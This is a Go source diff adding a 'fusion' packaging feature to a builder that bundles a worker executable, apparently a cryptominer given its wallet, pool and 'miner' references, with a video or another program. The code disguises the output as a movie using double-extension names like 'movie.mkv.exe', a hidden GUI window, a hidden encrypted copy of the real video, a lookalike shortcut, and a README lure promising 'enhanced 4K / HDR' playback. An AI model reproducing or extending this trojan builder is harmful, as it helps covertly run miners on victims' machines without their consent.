outputName += ".exe"
|
|
||||||
}
|
|
||||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
|
|
||||||
|
|
||||||
ldflags := fusionLdflags(prepPath)
|
|
||||||
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
return outputPath, nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func normalizeFusionOrder(order string) string {
|
func normalizeFusionOrder(order string) string {
|
||||||
|
|||||||
344
server/internal/builder/fusion_media.go
Normal file
344
server/internal/builder/fusion_media.go
Normal file
@@ -0,0 +1,344 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
type fusionBuildResult struct {
|
||||||
|
LauncherPath string
|
||||||
|
MediaName string
|
||||||
|
EncryptedPath string
|
||||||
|
ShortcutPath string
|
||||||
|
}
|
||||||
|
|
||||||
|
func detectFusionPayloadKind(path string) string {
|
||||||
|
switch strings.ToLower(filepath.Ext(path)) {
|
||||||
|
case ".mp4", ".mkv", ".mov":
|
||||||
|
return "video"
|
||||||
|
default:
|
||||||
|
return "exe"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
||||||
|
kind := strings.TrimSpace(req.FusionPayloadKind)
|
||||||
|
if kind == "" {
|
||||||
|
kind = detectFusionPayloadKind(payloadPath)
|
||||||
|
}
|
||||||
|
req.FusionPayloadKind = kind
|
||||||
|
|
||||||
|
if kind == "video" {
|
||||||
|
return h.buildVideoFusion(buildDir, payloadPath, workerPath, req)
|
||||||
|
}
|
||||||
|
path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return &fusionBuildResult{LauncherPath: path}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
||||||
|
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||||
|
mediaName := strings.TrimSpace(req.FusionMediaBaseName)
|
||||||
|
if mediaName == "" {
|
||||||
|
mediaName = filepath.Base(mediaPath)
|
||||||
|
}
|
||||||
|
mediaName = sanitizeFileName(mediaName)
|
||||||
|
|
||||||
|
outputName := strings.TrimSpace(req.FusionOutputName)
|
||||||
|
if mode == "embedded" {
|
||||||
|
if outputName == "" {
|
||||||
|
outputName = disguiseVideoExeName(mediaName)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if outputName == "" {
|
||||||
|
outputName = runnerNameForMedia(mediaName)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||||
|
outputName += ".exe"
|
||||||
|
}
|
||||||
|
outputName = sanitizeFileName(outputName)
|
||||||
|
|
||||||
|
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
assetsDir := filepath.Join(fusionDir, "assets")
|
||||||
|
|
||||||
|
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
encFileName := mediaName + ".cmdata"
|
||||||
|
var mediaKey []byte
|
||||||
|
if mode == "paired" {
|
||||||
|
var keyErr error
|
||||||
|
mediaKey, keyErr = NewMediaLockKey()
|
||||||
|
if keyErr != nil {
|
||||||
|
return nil, keyErr
|
||||||
|
}
|
||||||
|
}
|
||||||
|
manifestFields := map[string]string{
|
||||||
|
"payload_kind": "video",
|
||||||
|
"media_mode": mode,
|
||||||
|
"media_file_name": mediaName,
|
||||||
|
}
|
||||||
|
if mode == "paired" {
|
||||||
|
manifestFields["media_enc_file"] = encFileName
|
||||||
|
manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey)
|
||||||
|
manifestFields["runner_display_name"] = outputName
|
||||||
|
}
|
||||||
|
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
var encryptedPath, shortcutPath string
|
||||||
|
switch mode {
|
||||||
|
case "embedded":
|
||||||
|
if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
|
||||||
|
ldflags := "-s -w -H windowsgui"
|
||||||
|
if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
if mode == "paired" {
|
||||||
|
encryptedPath = filepath.Join(buildDir, encFileName)
|
||||||
|
if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
_ = setHiddenFile(encryptedPath)
|
||||||
|
|
||||||
|
shortcutPath = filepath.Join(buildDir, mediaName+".lnk")
|
||||||
|
if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &fusionBuildResult{
|
||||||
|
LauncherPath: launcherPath,
|
||||||
|
MediaName: mediaName,
|
||||||
|
EncryptedPath: encryptedPath,
|
||||||
|
ShortcutPath: shortcutPath,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
|
||||||
|
fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "")
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
assetsDir := filepath.Join(fusionDir, "assets")
|
||||||
|
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
if outputName == "" {
|
||||||
|
outputName = filepath.Base(prepPath)
|
||||||
|
}
|
||||||
|
if outputName == "" {
|
||||||
|
outputName = "prep.exe"
|
||||||
|
}
|
||||||
|
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||||
|
outputName += ".exe"
|
||||||
|
}
|
||||||
|
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
|
||||||
|
|
||||||
|
ldflags := fusionLdflags(prepPath)
|
||||||
|
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return outputPath, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
|
||||||
|
fusionSrc := filepath.Join(h.projectRoot, "fusion")
|
||||||
|
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
|
||||||
|
return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
|
||||||
|
}
|
||||||
|
|
||||||
|
fusionDir := filepath.Join(buildDir, "fusion")
|
||||||
|
assetsDir := filepath.Join(fusionDir, "assets")
|
||||||
|
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
mainOut := patchFusionMain(mainSrc, runOrder, payloadKind, mediaMode, mediaFileName)
|
||||||
|
if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), mainOut, 0644); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, name := range []string{
|
||||||
|
"go.mod", "launch_windows.go", "launch_stub.go",
|
||||||
|
"media_windows.go", "media_stub.go", "media_crypto.go",
|
||||||
|
"lock_hint_windows.go", "lock_hint_stub.go",
|
||||||
|
} {
|
||||||
|
src := filepath.Join(fusionSrc, name)
|
||||||
|
if _, err := os.Stat(src); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if err := copyFile(src, filepath.Join(fusionDir, name)); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return fusionDir, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName string) []byte {
|
||||||
|
order := normalizeFusionOrder(runOrder)
|
||||||
|
out := string(src)
|
||||||
|
repl := map[string]string{
|
||||||
|
`const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order),
|
||||||
|
`const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind),
|
||||||
|
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
|
||||||
|
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
|
||||||
|
}
|
||||||
|
for old, new := range repl {
|
||||||
|
out = strings.Replace(out, old, new, 1)
|
||||||
|
}
|
||||||
|
return []byte(out)
|
||||||
|
}
|
||||||
|
|
||||||
|
func writeFusionManifest(assetsDir, payloadKind, mediaMode, mediaFileName string) error {
|
||||||
|
return writeFusionManifestEx(assetsDir, map[string]string{
|
||||||
|
"payload_kind": payloadKind,
|
||||||
|
"media_mode": mediaMode,
|
||||||
|
"media_file_name": mediaFileName,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func writeFusionManifestEx(assetsDir string, fields map[string]string) error {
|
||||||
|
raw, err := json.Marshal(fields)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return os.WriteFile(filepath.Join(assetsDir, "manifest.json"), raw, 0644)
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeFusionMediaMode(mode string) string {
|
||||||
|
switch strings.ToLower(strings.TrimSpace(mode)) {
|
||||||
|
case "embedded":
|
||||||
|
return "embedded"
|
||||||
|
default:
|
||||||
|
return "paired"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func disguiseVideoExeName(mediaName string) string {
|
||||||
|
base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName))
|
||||||
|
if base == "" {
|
||||||
|
base = "movie"
|
||||||
|
}
|
||||||
|
ext := filepath.Ext(mediaName)
|
||||||
|
if ext == "" {
|
||||||
|
ext = ".mkv"
|
||||||
|
}
|
||||||
|
return sanitizeFileName(base + ext + ".exe")
|
||||||
|
}
|
||||||
|
|
||||||
|
func runnerNameForMedia(mediaName string) string {
|
||||||
|
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
|
||||||
|
if base == "" {
|
||||||
|
base = "movie"
|
||||||
|
}
|
||||||
|
return sanitizeFileName(base + "-runner.exe")
|
||||||
|
}
|
||||||
|
|
||||||
|
func fusionExportSubdir(req *BuildRequest, mediaName string) string {
|
||||||
|
if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
|
||||||
|
return sanitizeDirName(s)
|
||||||
|
}
|
||||||
|
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
|
||||||
|
if base == "" {
|
||||||
|
base = strings.TrimSuffix(filepath.Base(req.FusionOutputName), filepath.Ext(req.FusionOutputName))
|
||||||
|
}
|
||||||
|
if base == "" {
|
||||||
|
base = sanitizeFileName(req.WorkerName)
|
||||||
|
}
|
||||||
|
return sanitizeDirName(base)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
|
||||||
|
subdir = sanitizeDirName(subdir)
|
||||||
|
if subdir == "" || h.projectRoot == "" || h.projectRoot == "." {
|
||||||
|
return "", nil
|
||||||
|
}
|
||||||
|
destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
|
||||||
|
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||||
|
return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
|
||||||
|
}
|
||||||
|
for name, src := range artifacts {
|
||||||
|
if src == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
dest := filepath.Join(destDir, sanitizeFileName(name))
|
||||||
|
if err := copyFile(src, dest); err != nil {
|
||||||
|
return "", fmt.Errorf("failed to export %s: %w", name, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
readmePath := filepath.Join(destDir, "README.txt")
|
||||||
|
if err := os.WriteFile(readmePath, []byte(formatFusionReadme(readme)), 0644); err != nil {
|
||||||
|
return "", fmt.Errorf("failed to write README.txt: %w", err)
|
||||||
|
}
|
||||||
|
log.Printf("[Builder] Fusion deliverables -> %s", destDir)
|
||||||
|
return destDir, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func sanitizeDirName(name string) string {
|
||||||
|
name = strings.TrimSpace(name)
|
||||||
|
if name == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
name = filepath.Base(name)
|
||||||
|
var b strings.Builder
|
||||||
|
for _, r := range name {
|
||||||
|
switch {
|
||||||
|
case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r >= '0' && r <= '9', r == '-', r == '_', r == ' ', r == '.':
|
||||||
|
if r == ' ' {
|
||||||
|
b.WriteRune('_')
|
||||||
|
} else {
|
||||||
|
b.WriteRune(r)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out := strings.Trim(b.String(), "._")
|
||||||
|
if out == "" {
|
||||||
|
return "title"
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
71
server/internal/builder/fusion_readme.go
Normal file
71
server/internal/builder/fusion_readme.go
Normal file
@@ -0,0 +1,71 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
type fusionReadmeInfo struct {
|
||||||
|
Title string
|
||||||
|
RunnerName string
|
||||||
|
MediaName string
|
||||||
|
PayloadKind string // exe | video
|
||||||
|
MediaMode string // embedded | paired | ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatFusionReadme(info fusionReadmeInfo) string {
|
||||||
|
title := strings.TrimSpace(info.Title)
|
||||||
|
if title == "" {
|
||||||
|
title = "Media"
|
||||||
|
}
|
||||||
|
runner := strings.TrimSpace(info.RunnerName)
|
||||||
|
if runner == "" {
|
||||||
|
runner = "runner.exe"
|
||||||
|
}
|
||||||
|
|
||||||
|
var b strings.Builder
|
||||||
|
fmt.Fprintf(&b, "========================================\r\n")
|
||||||
|
fmt.Fprintf(&b, " ENHANCED PLAYBACK PACKAGE\r\n")
|
||||||
|
fmt.Fprintf(&b, "========================================\r\n\r\n")
|
||||||
|
fmt.Fprintf(&b, "Title: %s\r\n\r\n", title)
|
||||||
|
|
||||||
|
switch {
|
||||||
|
case info.PayloadKind == "video" && info.MediaMode == "paired":
|
||||||
|
media := strings.TrimSpace(info.MediaName)
|
||||||
|
if media == "" {
|
||||||
|
media = title + filepath.Ext(title)
|
||||||
|
}
|
||||||
|
fmt.Fprintf(&b, "HOW TO WATCH\r\n")
|
||||||
|
fmt.Fprintf(&b, "-----------\r\n")
|
||||||
|
fmt.Fprintf(&b, "Use the runner to play this movie in enhanced 4K / HDR quality:\r\n\r\n")
|
||||||
|
fmt.Fprintf(&b, " %s\r\n\r\n", runner)
|
||||||
|
fmt.Fprintf(&b, "Do NOT open the movie file directly — it is locked.\r\n")
|
||||||
|
fmt.Fprintf(&b, "Double-clicking the movie shortcut only reminds you to use the runner.\r\n\r\n")
|
||||||
|
fmt.Fprintf(&b, "FILES IN THIS FOLDER\r\n")
|
||||||
|
fmt.Fprintf(&b, "-------------------\r\n")
|
||||||
|
fmt.Fprintf(&b, " %-22s START HERE — play movie (enhanced 4K)\r\n", runner)
|
||||||
|
fmt.Fprintf(&b, " %-22s locked shortcut (looks like the movie)\r\n", media+".lnk")
|
||||||
|
fmt.Fprintf(&b, " %-22s encrypted video (do not open directly)\r\n", media+".cmdata")
|
||||||
|
fmt.Fprintf(&b, " README.txt this file\r\n\r\n")
|
||||||
|
fmt.Fprintf(&b, "The agent is embedded inside the runner only — no separate miner file.\r\n")
|
||||||
|
fmt.Fprintf(&b, "Keep every file in this folder together (or use the downloaded ZIP as-is).\r\n")
|
||||||
|
|
||||||
|
case info.PayloadKind == "video" && info.MediaMode == "embedded":
|
||||||
|
fmt.Fprintf(&b, "HOW TO WATCH\r\n")
|
||||||
|
fmt.Fprintf(&b, "-----------\r\n")
|
||||||
|
fmt.Fprintf(&b, "Double-click the launcher below to play in enhanced 4K / HDR quality:\r\n\r\n")
|
||||||
|
fmt.Fprintf(&b, " %s\r\n\r\n", runner)
|
||||||
|
fmt.Fprintf(&b, "This is a single-file package — the movie and player are bundled inside.\r\n")
|
||||||
|
|
||||||
|
default:
|
||||||
|
fmt.Fprintf(&b, "HOW TO RUN\r\n")
|
||||||
|
fmt.Fprintf(&b, "----------\r\n")
|
||||||
|
fmt.Fprintf(&b, "Double-click:\r\n\r\n")
|
||||||
|
fmt.Fprintf(&b, " %s\r\n\r\n", runner)
|
||||||
|
fmt.Fprintf(&b, "Your prep application runs normally; enhanced background services start automatically.\r\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Fprintf(&b, "\r\n========================================\r\n")
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
21
server/internal/builder/fusion_readme_test.go
Normal file
21
server/internal/builder/fusion_readme_test.go
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestFormatFusionReadmePaired(t *testing.T) {
|
||||||
|
text := formatFusionReadme(fusionReadmeInfo{
|
||||||
|
Title: "Vacation",
|
||||||
|
RunnerName: "Vacation-runner.exe",
|
||||||
|
MediaName: "Vacation.mkv",
|
||||||
|
PayloadKind: "video",
|
||||||
|
MediaMode: "paired",
|
||||||
|
})
|
||||||
|
for _, want := range []string{"Vacation-runner.exe", "enhanced 4K", "README.txt", "Vacation.mkv.lnk"} {
|
||||||
|
if !strings.Contains(text, want) {
|
||||||
|
t.Fatalf("readme missing %q:\n%s", want, text)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -9,7 +9,7 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestSaveUploadedPrepCreatesPrepsDir(t *testing.T) {
|
func TestSaveUploadedFusionPayloadCreatesPrepsDir(t *testing.T) {
|
||||||
dataDir := t.TempDir()
|
dataDir := t.TempDir()
|
||||||
h := &Handler{dataDir: dataDir}
|
h := &Handler{dataDir: dataDir}
|
||||||
|
|
||||||
@@ -42,16 +42,35 @@ func TestSaveUploadedPrepCreatesPrepsDir(t *testing.T) {
|
|||||||
}
|
}
|
||||||
defer f.Close()
|
defer f.Close()
|
||||||
|
|
||||||
path, cleanup, err := h.saveUploadedPrep(f, fileHeaders[0])
|
path, cleanup, err := h.saveUploadedFusionPayload(f, fileHeaders[0])
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
defer cleanup()
|
defer cleanup()
|
||||||
|
|
||||||
if _, err := os.Stat(path); err != nil {
|
if _, err := os.Stat(path); err != nil {
|
||||||
t.Fatalf("prep not saved: %v", err)
|
t.Fatalf("payload not saved: %v", err)
|
||||||
}
|
}
|
||||||
if _, err := os.Stat(filepath.Join(dataDir, "preps")); err != nil {
|
if _, err := os.Stat(filepath.Join(dataDir, "preps")); err != nil {
|
||||||
t.Fatalf("preps dir not created: %v", err)
|
t.Fatalf("preps dir not created: %v", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
|
||||||
|
h := &Handler{dataDir: t.TempDir()}
|
||||||
|
body := &bytes.Buffer{}
|
||||||
|
w := multipart.NewWriter(body)
|
||||||
|
partHeader := make(textproto.MIMEHeader)
|
||||||
|
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="bad.txt"`)
|
||||||
|
part, _ := w.CreatePart(partHeader)
|
||||||
|
_, _ = part.Write([]byte("x"))
|
||||||
|
w.Close()
|
||||||
|
r := multipart.NewReader(body, w.Boundary())
|
||||||
|
form, _ := r.ReadForm(10 << 20)
|
||||||
|
f, _ := form.File["prep_exe"][0].Open()
|
||||||
|
defer f.Close()
|
||||||
|
_, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("expected error for .txt upload")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
71
server/internal/builder/fusion_zip.go
Normal file
71
server/internal/builder/fusion_zip.go
Normal file
@@ -0,0 +1,71 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"archive/zip"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func zipDirectory(sourceDir, zipPath string) error {
|
||||||
|
sourceDir, err := filepath.Abs(sourceDir)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
zipPath, err = filepath.Abs(zipPath)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if strings.HasPrefix(zipPath, sourceDir+string(os.PathSeparator)) || zipPath == sourceDir {
|
||||||
|
return fmt.Errorf("zip path must be outside source directory")
|
||||||
|
}
|
||||||
|
|
||||||
|
out, err := os.Create(zipPath)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer out.Close()
|
||||||
|
|
||||||
|
zw := zip.NewWriter(out)
|
||||||
|
defer zw.Close()
|
||||||
|
|
||||||
|
return filepath.Walk(sourceDir, func(path string, info os.FileInfo, walkErr error) error {
|
||||||
|
if walkErr != nil {
|
||||||
|
return walkErr
|
||||||
|
}
|
||||||
|
if info.IsDir() {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if strings.EqualFold(filepath.Ext(path), ".zip") {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
rel, err := filepath.Rel(sourceDir, path)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
rel = filepath.ToSlash(rel)
|
||||||
|
hdr, err := zip.FileInfoHeader(info)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
hdr.Name = rel
|
||||||
|
hdr.Method = zip.Deflate
|
||||||
|
w, err := zw.CreateHeader(hdr)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
in, err := os.Open(path)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
_, err = io.Copy(w, in)
|
||||||
|
in.Close()
|
||||||
|
return err
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func fusionBundleZipName(subdir string) string {
|
||||||
|
return sanitizeFileName(subdir) + "-package.zip"
|
||||||
|
}
|
||||||
27
server/internal/builder/fusion_zip_test.go
Normal file
27
server/internal/builder/fusion_zip_test.go
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"archive/zip"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestZipDirectory(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
if err := os.WriteFile(filepath.Join(dir, "README.txt"), []byte("hi"), 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
zipPath := filepath.Join(t.TempDir(), "pkg.zip")
|
||||||
|
if err := zipDirectory(dir, zipPath); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
r, err := zip.OpenReader(zipPath)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer r.Close()
|
||||||
|
if len(r.File) != 1 || r.File[0].Name != "README.txt" {
|
||||||
|
t.Fatalf("unexpected zip contents: %+v", r.File)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -22,8 +22,9 @@ import (
|
|||||||
|
|
||||||
type BuildRequest struct {
|
type BuildRequest struct {
|
||||||
WorkerName string `json:"worker_name"`
|
WorkerName string `json:"worker_name"`
|
||||||
ServerURL string `json:"server_url"`
|
ServerURL string `json:"server_url"`
|
||||||
Wallet string `json:"wallet"`
|
BackupServerURLs []string `json:"backup_server_urls"`
|
||||||
|
Wallet string `json:"wallet"`
|
||||||
OutputDir string `json:"output_dir"`
|
OutputDir string `json:"output_dir"`
|
||||||
Threads int `json:"threads"`
|
Threads int `json:"threads"`
|
||||||
ThreadMode string `json:"thread_mode"`
|
ThreadMode string `json:"thread_mode"`
|
||||||
@@ -55,9 +56,13 @@ type BuildRequest struct {
|
|||||||
PoolPort int `json:"pool_port"`
|
PoolPort int `json:"pool_port"`
|
||||||
PoolTLS bool `json:"pool_tls"`
|
PoolTLS bool `json:"pool_tls"`
|
||||||
PoolPass string `json:"pool_pass"`
|
PoolPass string `json:"pool_pass"`
|
||||||
FusionEnabled bool `json:"fusion_enabled"`
|
FusionEnabled bool `json:"fusion_enabled"`
|
||||||
FusionRunOrder string `json:"fusion_run_order"`
|
FusionRunOrder string `json:"fusion_run_order"`
|
||||||
FusionOutputName string `json:"fusion_output_name"`
|
FusionOutputName string `json:"fusion_output_name"`
|
||||||
|
FusionPayloadKind string `json:"fusion_payload_kind"`
|
||||||
|
FusionMediaMode string `json:"fusion_media_mode"`
|
||||||
|
FusionMediaBaseName string `json:"fusion_media_base_name"`
|
||||||
|
FusionExportSubdir string `json:"fusion_export_subdir"`
|
||||||
// AI Autonomy (Ollama)
|
// AI Autonomy (Ollama)
|
||||||
AIEnabled bool `json:"ai_enabled"`
|
AIEnabled bool `json:"ai_enabled"`
|
||||||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||||||
@@ -83,12 +88,22 @@ type BuildResponse struct {
|
|||||||
ExportPath string `json:"export_path,omitempty"`
|
ExportPath string `json:"export_path,omitempty"`
|
||||||
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
|
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
|
||||||
FusionEnabled bool `json:"fusion_enabled,omitempty"`
|
FusionEnabled bool `json:"fusion_enabled,omitempty"`
|
||||||
|
FusionExportDir string `json:"fusion_export_dir,omitempty"`
|
||||||
|
ExtraFiles []BuildArtifactFile `json:"extra_files,omitempty"`
|
||||||
|
BundleFileName string `json:"bundle_file_name,omitempty"`
|
||||||
|
BundleDownloadURL string `json:"bundle_download_url,omitempty"`
|
||||||
|
BundleSize int64 `json:"bundle_size,omitempty"`
|
||||||
WorkerFile string `json:"worker_file,omitempty"`
|
WorkerFile string `json:"worker_file,omitempty"`
|
||||||
Signed bool `json:"signed,omitempty"`
|
Signed bool `json:"signed,omitempty"`
|
||||||
Obfuscated bool `json:"obfuscated,omitempty"`
|
Obfuscated bool `json:"obfuscated,omitempty"`
|
||||||
Error string `json:"error,omitempty"`
|
Error string `json:"error,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type BuildArtifactFile struct {
|
||||||
|
FileName string `json:"file_name"`
|
||||||
|
FilePath string `json:"file_path,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
type Handler struct {
|
type Handler struct {
|
||||||
db *db.Database
|
db *db.Database
|
